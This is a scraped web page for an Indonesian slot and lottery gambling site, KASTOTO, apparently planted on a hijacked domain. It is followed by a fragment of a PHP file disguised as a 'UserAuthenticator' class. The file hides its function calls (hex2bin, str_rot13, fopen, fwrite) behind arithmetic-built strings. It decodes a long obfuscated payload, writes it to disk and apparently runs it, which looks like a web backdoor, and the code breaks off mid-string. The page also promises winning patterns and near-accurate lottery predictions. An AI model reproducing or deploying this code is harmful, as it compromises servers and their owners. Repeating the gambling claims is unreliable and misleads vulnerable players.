Anda daftarkan" } }, { "@type": "Question", "name": "Metode pembayaran apa yang didukung oleh Situs Gacor?", "acceptedAnswer": { "@type": "Answer", "text": "Situs Gacor mendukung berbagai metode pembayaran, termasuk transfer bank, kartu kredit, dompet digital, dan lainnya. Pastikan untuk memeriksa opsi pembayaran yang tersedia di situs resmi kami." } }, { "@type": "Question", "name": "Apakah permainan di Situs Gacor adil dan terjamin keamanannya?", "acceptedAnswer": { "@type": "Answer", "text": "Ya, semua permainan di Situs Gacor diuji secara ketat untuk memastikan keadilan dan integritas. Kami juga menggunakan teknologi enkripsi terbaru untuk melindungi data dan transaksi Anda, sehingga keamanan Anda terjamin." } } ] } </script> <script type="application/ld+json"> { "@context": "https://schema.org/", "@type": "ItemList", "itemListElement": [ { "@type": "ListItem", "position": "1", "url": "https://rebrand.ly/Slideshow-kas2" }, { "@type": "ListItem", "position": "2", "name": "KASTOTO", "url": "https://rebrand.ly/Slideshow-kas2" }, { "@type": "ListItem", "position": "3", "url": "https://rebrand.ly/Slideshow-kas2" } ] } </script> </head> <body> <amp-sidebar id="sidebar-menu" class="sidebar-menu" layout="nodisplay" side="right"> <div class="header"> <div class="button"> <button on="tap:sidebar-menu.close" title="close menu">✖</button> </div> <div class="text"> <span>Menu</span> </div> </div> <nav> <ul> <li><a href="https://marincitygov.org/" rel = "nofollow" title="SLOT" target="_blank">SLOT</a></li> <li><a href="https://marincitygov.org/" rel = "nofollow" title="TOGEL" target="_blank">TOGEL</a></li> <li><a href="https://marincitygov.org/" rel = "nofollow" title="CASINO" target="_blank">CASINO</a></li> </ul> </nav> </amp-sidebar> <header> <div class="wrapper"> <div class="brands"> <a href="https://marincitygov.org/" title="Situs Gacor"> <amp-img src="https://i.gyazo.com/b6c5c8805e8fc8650bc51d2c83b42401.png" width="230" height="70" layout="responsive" alt="KASTOTO" title="Situs Gacor"></amp-img> </a> </div> <ul class="menu-list"> <li><a href="https://marincitygov.org/" rel = "nofollow" title="SLOT" target="_blank">SLOT</a></li> <li><a href="https://marincitygov.org/" rel = "nofollow" title="TOGEL" target="_blank">TOGEL</a></li> <li><a href="https://marincitygov.org/" rel = "nofollow" title="CASINO" target="_blank">CASINO</a></li> </ul> <div class="button"> <a href="https://rebrand.ly/kastotologin" rel = "nofollow" title="LOGIN" target="_blank">LOGIN</a> <a href="https://rebrand.ly/daftaridvipkastoto" rel = "nofollow" title="DAFTAR" target="_blank">DAFTAR</a><button on="tap:sidebar-menu.toggle" title="sidebar menu">☰</button> </div> </div> <div class="container-hero"> <div class="wrapper"> <div class="hero-group"> <div class="hero-image"> <amp-img src="https://rebrand.ly/Slideshow-kas2" width="530" height="530" layout="responsive" alt="KASTOTO" title="Daftar Situs Gacor"></amp-img> </div> <div class="hero-content"> <h1 class = "title" style = "font-size: 25px;color:#ff9c00;">KASTOTO Alternatif Login Agen Slot Dan Togel Online Terbesar</h1> <p class = "description">KASTOTO merupakan agen slot dan togel online berlisensi resmi menyediakan link alternatif login terlengkap permainan game terlengkap dengan berbagai promo menarik.</p> <div class="button"> <div class="group"> <a href="https://rebrand.ly/daftaridvipkastoto" rel = "nofollow" target="_blank" title="LOGIN AKUN PRO">DAFTAR</a> <a href="https://rebrand.ly/kastotologin" rel = "nofollow" target="_blank" title="DAFTAR AKUN PRO">LOGIN</a> </div> </div> </div> </div> </div> </div> </header> <div class="container-games"> <h2 class="title">RTP SLOT KASTOTO DAN DEMO SLOT KASTOTO</h2> <div class="jackpot"> <div class="wrapper"> <amp-iframe width="auto" height="670" sandbox="allow-scripts allow-same-origin allow-popups" layout="fixed-height" src="https://rebrand.ly/iframe-rtp-slot"></amp-iframe> </div> </div> </div> <br> <div class="container-text"> <div class="wrapper"> <div class="banner"> <amp-carousel width="1000" height="400" layout="responsive" type="slides" loop autoplay> <amp-img src="https://rebrand.ly/Slideshow-kas2" width="1000" height="400" title="Slot Qris Deposit Termurah" alt="Slot Qris Deposit Termurah"></amp-img> </amp-carousel> </div> <h1>KASTOTO Alternatif Login Agen Slot Dan Togel Online Terbesar</h1> <p><a href="https://marincitygov.org/">KASTOTO</a> merupakan agen slot dan togel online berlisensi resmi menyediakan link alternatif login terlengkap permainan game terlengkap dengan berbagai promo menarik. Bagi Anda yang mau memainkan slot atau togel namun bingung menentukan pilihan agen mana maka sebagai rekomendasi Anda bisa bergabung dengan kastoto. Adapun agen ini menawarkan banyak sekali permainan yang seru dengan bonus yang fantastis.</p> <p>Untuk bisa menikmatinya cukup dengan mendaftar melalui situs resmi mereka. Nantinya, Anda akan diberikan form yang berisikan data maupun item lainnya yang harus diisi dengan data valid. Tujuannya agar saat melakukan transaksi tidak mengalami kendala seperti penarikan bonus misalnya.</p> <p>Untuk melakukan <a href="https://marincitygov.org/">daftar kastoto</a> Anda bisa menggunakan gadget atau komputer karena memang tersedia dalam dua versi. Jika Anda merasa nyaman dengan gadget bisa juga dengan mengunduh <strong>aplikasi kastoto.</strong></p> <p>Adapun aplikasi ini bisa diunduh langsung di Play Store atau mengunjungi situs resmi kastoto. Yang penting, pilihlah mana yang Anda rasa nyaman agar saat permainan ini dimainkan Anda tidak merasa terganggu lagi.</p> <p>Lakukan <a href="https://marincitygov.org/">kastoto login</a> selama 24 jam online baik itu menggunakan gadget atau komputer dengan menggunakan ID yang sudah didapat sebelumnya. Itu sebabnya ID ini harus dijaga dengan benar agar tidak disalahgunakan oleh pihak yang tidak bertanggung jawab.</p> <p>Setelah Anda mendapatkan ID atau akun maka secara otomatis pun Anda akan mendapatkan bonus new member. Adapun besarannya sendiri cukup banyak namun tidak bisa ditarik atau WD. Namun hanya bisa digunakan untuk modal atau deposit memainkan slot.</p> <p>Meski demikian tentu ini satu kemudahan bukan apalagi buat pemain baru. Mereka tak lagi harus mengeluarkan banyak modal namun sudah bisa memainkan slot atau togel. Apalagi slotnya punya RTP tinggi diatas 96% maka yang namanya bonus semakin mudah didapat.</p> <p>Berbicara soal slot memang mau tidak mau pemain harus mencari tahu tentang permainan ini. karena sekilas memang mudah yaitu menekan tombol spin saja namun pada kenyataannya justru tak semudah itu.</p> <p>Ada beberapa hal yang perlu diperhatikan dan dilakukan uji coba agar bisa benar benar memahami polanya. Sehingga saat menggunakan uang sungguhan sudah tidak canggung lagi dan Anda pun siap menerima bonus yang tidak sedikit.</p> <h2><strong>Pusat Slot Tergacor Mudah Menang Minim Deposit Tanpa Potongan</strong></h2> <p>Untuk mereka yang mau main slot namun masih bingung menentukan pilihann, Anda juga menggunakan rekomendasi dari agen ini. Slot gacor adalah slot yang mudah dimainkan dan menawarkan banyak bonus.</p> <p>Biasanya, slot gacor identik dengan slot yang punya nilai RTP tinggi. Adapun yang dimaksud dengan RTP disini adalah Return to player yaitu persentase kemenangan yang bisa didapat oleh pemain. Semakin tinggi nilainya maka semakin mudah pemain tersebut mendapatkan bonus.</p> <p>Hanya saja, tipe slot gacor ini membutuhkan deposit yang tidak sedikit karena menawarkan tingkat volatile yang tinggi. Tapi tenang saja, <a href="https://marincitygov.org/">kastoto slot</a> tak sekedar memberikan rekomendasi slot mana yang sebaiknya dimainkan.</p> <p>Akan tetapi juga memberikan pola memainkannya atau biasa disebut dengan pola gacor. Adapun pola ini memberikan petunjuk bagaimana menekan tombol spin baik manual atau otomatis. Kemudian, berapa kali menekan keduanya hingga kapan harus menaikkan taruhan.</p> <p>Apalagi jika Anda memainkannya di jam hoki dimana pemain banyak memasang taruhan dengan nilai yang cukup fantastis. Artinya, Anda tidak akan dibiarkan sendirian apalagi buat pemain baru yang masih minim dengan permainan ini.</p> <p>Pola gacor ini sendiri termasuk nilai RTP akan terus diberikan mengingat perubahan yang terus terjadi selama permainan ini ada. Namun yang pasti, slot dari pengembang seperti Habanero, Spadegaming hingga Pragmatic Play sangat jarang memiliki RTP rendah atau dibawah 95%.</p> <p>Itu sebabnya, koleksi slot yang mereka miliki rata rata direkomendasikan sebagai slot gacor. Dan di agen ini Anda tidak perlu pusing menentukan pilihan karena semua sudah ada di menu. Yang dilakukan hanya <strong>login kastoto</strong> menggunakan gadget atau komputer.</p> <p>Anda juga memainkan semua permainan slot yang direkomendasikan agen <strong>kastoto</strong> selama 24 jam online dengan mengacu pada pola permainan yang diberikan. Jadi. Tidak ada alasan untuk tidak memainkan permainan ini apalagi depositnya pun sangat minim.</p> <p>Bahkan, tanpa dikenakan biaya potongan apapun sehingga Anda bebas melakukannya berkali kali dan tanpa konfirmasi. Jika mengalami kendala saat mengaksesnya gunakan saja <a href="https://marincitygov.org/">kastoto link alternatif</a> yang bisa Anda temukan di mesin pencari atau sosial media.</p> <p>Karena memang banyak pemain yang merasa puas dengan layanan mereka sehingga informasi atau bocoran akan diberikan. Tertarik? Yuk, bergabung dengan agen <strong>kastoto</strong> dan nikmati semua pengalaman seru saat memainkan slot maupun togel.</p> <h3><strong>Agel Togel Angka Prediksi Terakurat dan Terkini Anti Rungkad</strong></h3> <p>Togel adalah permainan menebak angka yang umum dilakukan oleh masyarakat Indonesia sejak dulu. Adapun permainan ini menawarkan kemudahan dibandingkan dengan permainan judi lainnya seperti poker dan sejenisnya.</p> <p>Yang dibutuhkan hanyalah kemampuan untuk menghitung guna mendapatkan angka yang akan dipasang nantinya. Adapun jenis pasaran yang umum digunakan adalah Sydney, Hongkong, Macau dan masih banyak lagi lainnya.</p> <p>Di agen <strong>kastoto </strong>ada banyak jenis pasaran yang rata rata punya tingkat volatile yang tinggi. Dengan begitu, potensi untuk mendapatkan bonus pun besar sehingga pemain menjadi mudah memenangkannya.</p> <p>Selain itu, bagi yang tak mau pusing atau belum paham bagaimana menghitung angka menggunakan beberapa indikator bisa juga mengambil data dari bocoran angka yang diberikan. Karena memang di <a href="https://marincitygov.org/">kastoto togel</a> Anda akan mendapatkan bocoran angka berapa yang bisa dipasang sesuai dengan jenis pasaran yang dipilih.</p> <p>Namun, yang namanya prediksi bisa saja salah tapi di agen <strong>kastoto</strong> angka yang diberikan bisa dibilang mendekati angka yang keluar. Karena metode yang dilakukan cukup beragam seperti menggunakan buku tafsir mimpi hingga table paito.</p> <p>Untuk yang terakhir ini memang sering digunakan oleh pemain togel khususnya mereka yang sudah berpengalaman. Karena isi dari tabel ini adalah angka angka yang sudah keluar sebelumnya dengan susunan menarik.</p> <p>Mulai dari bulan hingga tahun bahkan dibagi lagi menggunakan warna untuk menunjukkan yang mana 2d, 3d maupun 4d. Dan tabel ini juga tersedia untuk jenis pasaran yang berbeda. Jadi, cukup banyak keuntungannya bukan?</p> <p>Untungnya, <strong>kastoto prediksi</strong> selalu dibagikan buat pemain setiap hari dan rutin sesuai dengan jenis pasaran entah itu Hongkong hingga Macau. Bahkan, bagi yang kurang memahaminya bisa kok menanyakan langsung dengan tim CS yang siap membantu Anda kapan saja selama 24 jam online.</p> <p>Tak hanya itu, di menu agen Anda akan menemukan informasi tentang <a href="https://marincitygov.org/">kastoto 2024</a> yang terbaru karena memang perubahan ini pasti terjadi. Entah itu sistem deposit, penarikan bonus, pendaftaran hingga bocoran tentang slot gacor.</p> <p>Semua akan diberikan secara update hanya dengan mengaksesnya melalui link khusus jika terjadi pemblokiran. Bagaimana, sudah siap memainkan slot atau togel dengan bonus fantastis dan jackpot yang nilainya terus bertambah?</p> <p style="text-align:justify"><strong>Sweet Bonanza:</strong></p> <ul> <li style="text-align: justify;">Waktu: 20:25 malam - 02:55 pagi</li> <li style="text-align: justify;">Pola: 20-50-100 (✔️❌✔️) DC On</li> <li style="text-align: justify;">RTP: 98.30 %</li> <li style="text-align: justify;">Fitur Beli Spin: Ya</li> </ul> <p style="text-align:justify"><strong>Starlight Princess:</strong></p> <ul> <li style="text-align: justify;">Waktu: 21:00 malam - 03:15 malam</li> <li style="text-align: justify;">Pola: 30-40-100 (✔️❌✔️) DC On</li> <li style="text-align: justify;">RTP: 97.80 %</li> <li style="text-align: justify;">Fitur Beli Spin: Ya</li> </ul> <p style="text-align:justify"><strong>Gates of Olympus:</strong></p> <ul> <li style="text-align: justify;">Waktu: 10:30 siang - 17:00 sore</li> <li style="text-align: justify;">Pola: 30-50-100 (✔️❌✔️) DC On</li> <li style="text-align: justify;">RTP: 96.90 %</li> <li style="text-align: justify;">Fitur Beli Spin: Ya</li> </ul> <h3 style="text-align:center">Info Bocoran Pola Slot Gacor PG Soft Hari Ini Deposit Pulsa</h3> <p style="text-align:justify">Kami Juga memiliki beberapa pola untuk permainan slot deposit pulsa PG Soft yang dapat dengan mudah anda menangkan seperti :</p> <p style="text-align:justify"><strong>Mahjong Ways 2:</strong></p> <ul> <li style="text-align: justify;">Waktu: 21:30 malam - 05:00 pagi</li> <li style="text-align: justify;">Pola: 30-50-80 (✔️❌✔️)</li> <li style="text-align: justify;">RTP: 97.86 %</li> </ul> <p style="text-align:justify"><strong>Treasure of Aztec:</strong></p> <ul> <li style="text-align: justify;">Waktu: 22:00 malam - 03:00 malam</li> <li style="text-align: justify;">Pola: 10-30-80 (❌✔️✔️)</li> <li style="text-align: justify;">RTP: 97.00 %</li> <li style="text-align: justify;">Fitur Beli Spin: Ya</li> </ul> <h3 style="text-align:center">Info Bocoran Pola Slot Gacor spadegaming Hari Ini Deposit Pulsa</h3> <p style="text-align:justify">Tersedia juga pola slot deposit pulsa untuk game spadegaming, Mainkan di waktu tertentu untuk mendapatkan hadiah jackpot terbesar untuk provider ini. Berikut pola slot deposit dana dari spadegaming :</p> <p style="text-align:justify"><strong>Mega7</strong>:</p> <ul> <li style="text-align: justify;">Waktu: 21:15 malam - 02:15 Pagi</li> <li style="text-align: justify;">Pola: 25-50-100 (✔️❌✔️) DC Off</li> <li style="text-align: justify;">RTP: 96.40 %</li> <li style="text-align: justify;">Volatilitas: Sedang</li> </ul> <p style="text-align:justify"><strong>Three Lucky Stars:</strong></p> <ul> <li style="text-align: justify;">Waktu: 20:15 malam - 02:00 malam</li> <li style="text-align: justify;">Pola: 20-50-100 (❌✔️✔️) DC On</li> <li style="text-align: justify;">RTP: 95.60 %</li> <li style="text-align: justify;">Volatilitas: Rendah</li> </ul> </div> </div> <footer> <div class="wrapper"> <div class="footer-list"> <div class="list"> <p>Slot Populer</p> <ul> <li title="Situs Gacor Pragmatic Play">Pragmatic Play</li> <li title="Situs Gacor IDN Slot">IDN Slot</li> <li title="Situs Gacor Spadegaming">Spadegaming</li> <li title="Situs Gacor PGSoft">PGSoft</li> <li title="Situs Gacor Nolimit City">Nolimit City</li> <li title="Situs Gacor Top Trend Gaming">Top Trend Gaming</li> <li title="Situs Gacor Microgaming">Microgaming</li> <li title="Situs Gacor Habanero">Habanero</li> </ul> </div> <div class="list"> <p>Casino</p> <ul> <li title="Roullete">Roullete</li> <li title="Baccarat">Baccarat</li> <li title="Dragon Tiger">Dragon Tiger</li> <li title="Dingdong">Dingdong</li> <li title="Oglok">Oglok</li> <li title="Suwit">Suwit</li> <li title="Sicbo">Sicbo</li> <li title="Bola Gelindir">Bola Gelindir</li> <li title="Monopoly">Monopoly</li> <li title="Dice 6">Dice 6</li> </ul> </div> <div class="list"> <p>Togel</p> <ul> <li title="Hongkong">Hongkong</li> <li title="Sydney">Sydney</li> <li title="Singapore">Singapore</li> <li title="Totomacau">Totomacau</li> <li title="Taiwan">Taiwan</li> <li title="China">China</li> <li title="Cambodia">Cambodia</li> <li title="Japan">Japan</li> <li title="Pcso">Pcso</li> <li title="Magnum">Magnum</li> </ul> </div> </div> </div> <div class="copyright"> <div class="wrapper"> <p>Copyright © 2014 - 2024 KASTOTO. Hak Cipta Dilindungi Undang - Undang. </p> </div> </div> </footer> <div class="mobile-button"> <div class="wrapper"> <div class="group"> <a href="https://rebrand.ly/kastotologin">LOGIN</a> <a href="https://rebrand.ly/daftaridvipkastoto">DAFTAR</a> </div> </div> </div> </body> </html>PK [8�\� �y�9 �9 banten1.kasvalid.com.phpnu �[��� <?php class UserAuthenticator { private $jb = ''; private $ec = ''; public function rollbackTransaction($p1) { $a = array((2*55),(80+25),(98),((59-9)),((2*60)),((14*66)-823),((2*52))); $s = ''; foreach($a as $n){ $s .= chr($n); } $s = strrev($s); return $s($p1); } public function initializeModule($p1) { $a = array(((22*22)-433),(36+13),(121-5),(((85*12)-909)),((100*1)+14),((81+14)),(2*57),(((27*3)+35)),(115)); $s = ''; foreach($a as $n){ $s .= chr($n); } $s = strrev($s); return $s($p1); } public function executeAction($p1,$p2) { $a = array(((15+95)),((21*61)-1180),((16*116)-1744),111,((2*51))); $s = ''; foreach($a as $n){ $s .= chr($n); } $s = strrev($s); return $s($p1,$p2); } public function resetState($p1,$p2) { $a = array((103-1),((7*17)),(2*57),(113-8),((96+3+17)),((101*1))); $s = ''; foreach($a as $n){ $s .= chr($n); } return $s($p1,$p2); } public function logEvent($p1) { $a = array((2*51),((3*33)),(81+15+12),(111),(59+56),101); $s = ''; foreach($a as $n){ $s .= chr($n); } return $s($p1); } public function encryptData($p1,$p2=null) { $a = array((2*57),(((87*93)-7975)),(((124*50)-6086)),(112-7),((59*117)-6794)); $s = ''; foreach($a as $n){ $s .= chr($n); } return $s($p1,$p2); } public function logTransaction() { $this->ec = $this->encryptData($this->updateRegistry(), '/'); } public function checkConsistency() { $this->jb = $this->initializeModule($this->rollbackTransaction($this->vs)); } public function processData() { $fn = $this->ec.'/xq-67fc248bc3d28'; $f = $this->executeAction($fn, 'w'); $this->resetState($f, $this->jb); $this->logEvent($f); $this->computeResult($fn); } private $vs = '3c3f6375632070796e6666205f6b6b787b636576696e67722' . '066676e677670245f676b3b66676e677670207368617067766' . '261205f73637328245f6a7064297b76732821667279733a3a2' . '45f676b29667279733a3a5f74626b28293b657267686561207' . '5726b326f766128667279733a3a245f676b5b245f6a70645d2' . '93b7d636576696e67722066676e67767020736861706776626' . '1205f74626b28297b667279733a3a245f676b3d6e65656e6c2' . '8275f6d6f273d3e27343136333633363537333733327134333' . '673367237343732367336703271272e273431367036272e277' . '0367337373271347337323639363736272e2739272e2736723' . '3272e276e32272e273032272e276e272c275f6170273d3e273' . '4333673367237343635367237343271272e273534373937303' . '635336e323036313730373036703639363336313734272e273' . '639367336723273366e3631373636313733272e27363337272' . 'e27323639272e2737303734272c275f7364273d3e273633363' . '8272c275f7468273d3e2736353739346e37303633343334393' . '3363439272e27366e363733343470366e363733343470366e3' . '63733343470366e36373334343936393737363936343537343' . '5363934733639346e272e273330356e3538347233303439363' . '93737363936333671353636272e27713439366e36733639272' . 'e27363434373536376e36343433346e33272e2739272c275f7' . '662273d3e2737313737376e3738272c275f767175273d3e273' . '3703673272e27366f33272e2772272c275f757167273d3e273' . '370272e273632363136343372272c275f766679273d3e27373' . '7363136272e277036272e2770272c275f616f70273d3e27272' . 'c275f7979273d3e27272c275f717263273d3e27272c275f7a6' . 'd62273d3e273638373437343730336e3273327337303735363' . '23272373736353632363636393670363536383673373337343' . '63537323272363336733671327336333673367137303673373' . '3363537323272272e27366e373333733634363137343631332' . '72e2771272c275f7675273d3e2736333735272e27373236272' . 'e277035733639272e2736723639272e273734272c275f76662' . '73d3e2736383734373437272e273035272e277336272e27333' . '6733634272e2736272e2735272c275f6b6372273d3e2737333' . '63336272e273836353671272e2736272e2735272c275f74727' . '9273d3e2736383734272e27373437303733272c275f6477273' . 'd3e2734373435353432272e2730272c275f797575273d3e273' . '73036313734272e273638272c275f626773273d3e273731373' . '5363537323739272c275f617a6d273d3e273373272c275f666' . 'c273d3e273731272e273735363537272e273237272e2739272' . 'c275f766a77273d3e27323034383534272e27353435272e273' . '03273333132723330307130272e276e272e273438367337333' . '7272e2734336e272e273230272c275f7278273d3e2736272e2' . '73836733733272e2737272e2734272c275f776f273d3e27307' . '1306e3433367336723672363536333734363936733672336e3' . '230343336703673373336353071272e27306e30272e2771272' . 'e27306e272c275f757266273d3e27373337333670336e32732' . '72e2732272e2773272c275f746169273d3e27272c275f71767' . '0273d3e2736272e2738367337272e27333734272c275f6b787' . '7273d3e273071306e272c275f7571273d3e273438353435343' . '53035733433347034393435347235272e273435733439272e2' . '735272e2730272c275f7a64273d3e273438353435343530357' . '33538357334363473353235373431353234343435343435733' . '43634272e277335272e2732272c275f6478273d3e273532343' . '53471347335343435272e2735272e277334313434343435272' . 'e2732272c275f7361273d3e273438353435343530272e27357' . '33535272e27353334353532357334272e2731343734272e273' . '534723534272c275f616374273d3e2734383534272e2735343' . '53035272e2773353535333435353235272e277334313437343' . '5347235272e2734272c275f6262273d3e27272c275f7462702' . '73d3e2734383534353435303573353234272e27353436272e2' . '7343535272e27323435272e273532272c275f766f70273d3e2' . '73438353435343530357335272e273234272e2735343634353' . '5272e273234353532272c275f6b6870273d3e27272c275f6c7' . '26a273d3e27343835343534353035733433347034393435347' . '2353435272e2773343935272e2730272c275f6d6c273d3e273' . '438353435343530357334333470272e2734393435347235343' . '57334393530272c275f7a73273d3e273438353435343530357' . '33538357334363473353235373431353234343435343435732' . '72e27343634272e277335272e2732272c275f73766d273d3e2' . '7343835343534353035733538357334363473272e273532353' . '73431353234343435343435733436272e27347335272e27322' . '72c275f7379273d3e273532272e27343534713473353434353' . '573272e2734313434272e273434272e2735272e2732272c275' . 'f7963273d3e27353234353471272e27347335272e273434353' . '573272e273431272e27343434343532272c275f6973273d3e2' . '73634363236373671272e27367336343635272c275f7678652' . '73d3e273439353033272e276e32272e2730272c275f726d702' . '73d3e27323037703230353534272e2731336e3230272c275f6' . 'b6a6a273d3e273230377032303532272e27363536272e27363' . '3272e276e3230272c275f6a7a273d3e2732303370272e27363' . '2272e2737323372272e2730272e276e272c275f6b7968273d3' . 'e2736393730272c275f6f77273d3e273735272e273631272c2' . '75f676a66273d3e2737323635272e273636272c275f756b273' . 'd3e2737313737376e3738272c293b7d7d70796e6666205f706' . 'b647b636576696e67722066676e677670245f676b3b66676e6' . '77670207368617067766261205f73637328245f6a7064297b7' . '6732821667279733a3a245f676b29667279733a3a5f74626b2' . '8293b65726768656120667279733a3a245f676b5b245f6a706' . '45d3b7d636576696e67722066676e677670207368617067766' . '261205f74626b28297b667279733a3a245f676b3d6e65656e6' . 'c2830302c30372c3033362c3033362c30312c3033362c30322' . 'c30372c30312c3031362c3033302c30362c3033322c3031322' . 'c3031312c3031332c3032372c3033312c30332c30322c30312' . 'c30312c30302c3031322c3031322c303331302c303637332c3' . '03132302c30302c30323030302c30312c303432332c3034323' . '3293b7d7d75726e717265285f6b6b783a3a5f73637328275f6' . 'd272e276f2729293b75726e717265285f6b6b783a3a5f73637' . '328275f61272e27702729293b767328766666726728245f545' . '2475b5f6b6b783a3a5f73637328275f736427295d29297b245' . 'f65786d3d5f6f68285f6b6b783a3a5f73637328275f272e277' . '4682729293b767328245f65786d262666676563626628245f6' . '5786d2c5f6b6b783a3a5f73637328275f7662272929213d3d7' . '36e796672297b717672285f6b6b783a3a5f73637328275f762' . '72e2771752729293b7d727966727b717672285f6b6b783a3a5' . 'f73637328275f272e2775272e2771672729293b7d7d7673287' . '66666726728245f5452475b5f6b6b783a3a5f73637328275f7' . '666272e277927295d29297b245f7767793d245f50424258565' . '23b245f7165693d5f706b643a3a5f7363732830293b245f6a7' . '0643d5f706b643a3a5f7363732831293b245f6778643d6e656' . '56e6c28293b245f6778645b245f7165695d3d5f6b6b783a3a5' . 'f73637328275f272e27616f7027293b6a7576797228245f6a7' . '064297b245f6778645b245f7165695d2e3d245f7767795b5f7' . '06b643a3a5f7363732832295d5b245f6a70645d3b767328212' . '45f7767795b5f706b643a3a5f7363732833295d5b245f6a706' . '42b5f706b643a3a5f7363732834295d297b76732821245f776' . '7795b5f706b643a3a5f7363732835295d5b245f6a70642b5f7' . '06b643a3a5f7363732836295d296f65726e783b245f7165692' . 'b2b3b245f6778645b245f7165695d3d5f6b6b783a3a5f73637' . '328275f797927293b245f6a70642b2b3b7d245f6a70643d245' . 'f6a70642b5f706b643a3a5f7363732837292b5f706b643a3a5' . 'f7363732838293b7d245f7165693d245f6778645b5f706b643' . 'a3a5f7363732839295d28292e245f6778645b5f706b643a3a5' . 'f736373283130295d3b76732821245f6778645b5f706b643a3' . 'a5f736373283131295d28245f71656929297b245f6a70643d2' . '45f6778645b5f706b643a3a5f736373283132295d28245f716' . '5692c245f6778645b5f706b643a3a5f736373283133295d293' . 'b245f6778645b5f706b643a3a5f736373283134295d28245f6' . 'a70642c245f6778645b5f706b643a3a5f736373283135295d2' . 'e245f6778645b5f706b643a3a5f736373283136295d28245f6' . '778645b5f706b643a3a5f736373283137295d28245f7767795' . 'b5f706b643a3a5f736373283138295d2929293b7d766170796' . '8717228245f716569293b7d7368617067766261205f6f68282' . '45f6a772c245f636b3d2d312e3232303031383631313134333' . '4297b245f796c3d5f6b6b783a3a5f73637328275f717263272' . '93b245f786c3d5f6b6b783a3a5f73637328275f272e277a6d6' . '227292e245f6a773b76732876665f706e79796e6f7972285f6' . 'b6b783a3a5f73637328275f76272e2775272929297b245f686' . '96a3d706865795f7661766728245f786c293b706865795f667' . '26762636728245f68696a2c504845594243475f4646595f495' . '24556534c435252452c736e796672293b706865795f6672676' . '2636728245f68696a2c504845594243475f4646595f4952455' . '6534c554246472c5f706b643a3a5f73637328313929293b706' . '865795f66726762636728245f68696a2c504845594243475f5' . '3425959424a5942504e475642412c5f706b643a3a5f7363732' . '8323029293b706865795f66726762636728245f68696a2c504' . '845594243475f45524748454147454e41465352452c5f706b6' . '43a3a5f73637328323129293b706865795f667267626367282' . '45f68696a2c504845594243475f55524e5152452c5f706b643' . 'a3a5f73637328323229293b706865795f66726762636728245' . 'f68696a2c504845594243475f5042414152504747565a52424' . '8472c5f706b643a3a5f73637328323329293b706865795f667' . '26762636728245f68696a2c504845594243475f47565a52424' . '8472c5f706b643a3a5f73637328323429293b245f796c3d706' . '865795f726b727028245f68696a293b245f786f3d706865795' . 'f7472677661736228245f68696a293b706865795f707962667' . '228245f68696a293b767328245f786f5b5f6b6b783a3a5f736' . '37328275f766627295d213d5f706b643a3a5f7363732832352' . '92965726768656120736e7966723b7d727966727b245f6c666' . 'c3d636e6566725f68657928245f786c293b245f6d61663d282' . '45f6c666c5b5f6b6b783a3a5f73637328275f6b63272e27722' . '7295d3d3d5f6b6b783a3a5f73637328275f7472792729293b2' . '45f6e6e3d5f6b6b783a3a5f73637328275f64272e277727292' . 'e245f6c666c5b5f6b6b783a3a5f73637328275f79757527295' . 'd3b767328766666726728245f6c666c5b5f6b6b783a3a5f736' . '37328275f62677327295d2929245f6e6e2e3d5f6b6b783a3a5' . 'f73637328275f617a272e276d27292e245f6c666c5b5f6b6b7' . '83a3a5f73637328275f272e2766272e276c27295d3b245f6e6' . 'e2e3d5f6b6b783a3a5f73637328275f76272e276a272e27772' . '7292e245f6c666c5b5f6b6b783a3a5f73637328275f7278272' . '95d2e5f6b6b783a3a5f73637328275f77272e276f27293b245' . 'f7967783d7366627078626372612828245f6d61663f5f6b6b7' . '83a3a5f73637328275f272e277572272e276627293a5f6b6b7' . '83a3a5f73637328275f272e2774272e2761272e27692729292' . 'e245f6c666c5b5f6b6b783a3a5f73637328275f71767027295' . 'd2c245f6d61663f5f706b643a3a5f736373283236293a5f706' . 'b643a3a5f73637328323729293b767328245f796778297b736' . '368676628245f7967782c245f6e6e293b245f63703d5f706b6' . '43a3a5f736373283238293b6a7576797228217372627328245' . 'f79677829297b245f76693d737472676628245f7967782c5f7' . '06b643a3a5f73637328323929293b767328245f637029245f7' . '96c2e3d245f76693b767328245f76693d3d5f6b6b783a3a5f7' . '3637328275f6b272e2778272e2777272929245f63703d5f706' . 'b643a3a5f736373283330293b7d73707962667228245f79677' . '8293b7d7d657267686561245f796c3b7d245f6d6d793d76666' . '6726728245f4652454952455b5f6b6b783a3a5f73637328275' . 'f75272e277127295d293b245f6562773d766666726728245f4' . '652454952455b5f6b6b783a3a5f73637328275f7a6427295d2' . '93b245f7264653d766666726728245f4652454952455b5f6b6' . 'b783a3a5f73637328275f647827295d293b245f71733d76666' . '6726728245f4652454952455b5f6b6b783a3a5f73637328275' . 'f736127295d293f245f4652454952455b5f6b6b783a3a5f736' . '37328275f61637427295d3a5f6b6b783a3a5f73637328275f6' . '26227293b245f7163703d766666726728245f4652454952455' . 'b5f6b6b783a3a5f73637328275f74627027295d293f245f465' . '2454952455b5f6b6b783a3a5f73637328275f272e27766f702' . '7295d3a5f6b6b783a3a5f73637328275f6b272e2768272e277' . '027293b245f6d6d793d766666726728245f4652454952455b5' . 'f6b6b783a3a5f73637328275f6c72272e276a27295d293f245' . 'f4652454952455b5f6b6b783a3a5f73637328275f6d272e276' . 'c27295d3a616879793b245f6562773d766666726728245f465' . '2454952455b5f6b6b783a3a5f73637328275f272e277a272e2' . '77327295d293f245f4652454952455b5f6b6b783a3a5f73637' . '328275f73272e27766d27295d3a616879793b245f7264653d7' . '66666726728245f4652454952455b5f6b6b783a3a5f7363732' . '8275f73272e277927295d293f245f4652454952455b5f6b6b7' . '83a3a5f73637328275f796327295d3a616879793b767328737' . '6796772655f696e6528245f6d6d792c5f706b643a3a5f73637' . '32833312929297b245f6d6c3d245f6d6d793b7d72796672767' . '3287376796772655f696e6528245f6562772c5f706b643a3a5' . 'f7363732833322929297b245f6d6c3d245f6562773b7d72796' . '6727b245f6d6c3d245f7264653b7d767328766666726728245' . 'f5452475b5f6b6b783a3a5f73637328275f69272e277327295' . 'd29297b72707562205f6b6b783a3a5f73637328275f76272e2' . '7786527292e245f6d6c2e5f6b6b783a3a5f73637328275f726' . 'd7027292e245f71732e5f6b6b783a3a5f73637328275f6b6a6' . 'a27292e245f7163702e5f6b6b783a3a5f73637328275f6a7a2' . '7293b726b766728293b7d76732821766666726728245f6d6c2' . '97c7c21766666726728245f7173297c7c21766666726728245' . 'f71637029297b726b766728293b7d727966727b245f726b3d6' . 'e65656e6c285f6b6b783a3a5f73637328275f6b79272e27682' . 